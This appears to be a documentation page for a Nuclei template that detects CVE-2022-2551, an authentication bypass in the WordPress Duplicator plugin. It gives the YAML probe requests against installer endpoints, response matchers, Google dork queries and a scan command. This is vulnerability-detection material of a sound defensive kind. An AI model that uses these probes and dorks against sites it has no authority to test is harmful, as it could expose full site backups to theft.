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WordPress Duplicator <1.4.7 - Authentication Bypass

ID: CVE-2022-2551

Severity: high

Author: LRTK-CODER

Tags: cve2022,cve,wordpress,wp,wp-plugin,duplicator,wpscan,snapcreek

Description

Section titled “Description”

WordPress Duplicator plugin before 1.4.7 is susceptible to authentication bypass. The plugin discloses the URL of the backup to unauthenticated visitors accessing the main installer endpoint. If the installer script has been run once by an administrator, this allows download of the full site backup without proper authentication.

YAML Source

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id: CVE-2022-2551


info:
  name: WordPress Duplicator <1.4.7 - Authentication Bypass
  author: LRTK-CODER
  severity: high
  description: |
    WordPress Duplicator plugin before 1.4.7 is susceptible to authentication bypass. The plugin discloses the URL of the backup to unauthenticated visitors accessing the main installer endpoint. If the installer script has been run once by an administrator, this allows download of the full site backup without proper authentication.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information or unauthorized actions on the affected WordPress site.
  remediation: Fixed in version 1.4.7.1.
  reference:
    - https://wpscan.com/vulnerability/f27d753e-861a-4d8d-9b9a-6c99a8a7ebe0
    - https://wordpress.org/plugins/duplicator/
    - https://github.com/SecuriTrust/CVEsLab/tree/main/CVE-2022-2551
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2551
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-2551
    cwe-id: CWE-425
    epss-score: 0.66448
    epss-percentile: 0.97927
    cpe: cpe:2.3:a:snapcreek:duplicator:*:*:*:*:lite:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: snapcreek
    product: duplicator
    framework: wordpress
    google-query:
      - inurl:/backups-dup-lite/dup-installer/
      - inurl:"/wp-content/plugins/duplicator"
  tags: cve2022,cve,wordpress,wp,wp-plugin,duplicator,wpscan,snapcreek


http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/backups-dup-lite/dup-installer/main.installer.php?is_daws=1"
      - "{{BaseURL}}/wp-content/dup-installer/main.installer.php?is_daws=1"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<a href='../installer.php'>restart this install process</a>"
        condition: and


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100aa792bf8cf76f7e5cae52243ebc5853945257ac596e87cd9b85783c4fb445926022100c2368bb33994448aae6ca35728205a5af85df1388cd5f10a00b1b11cc77611ff:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-2551.yaml"

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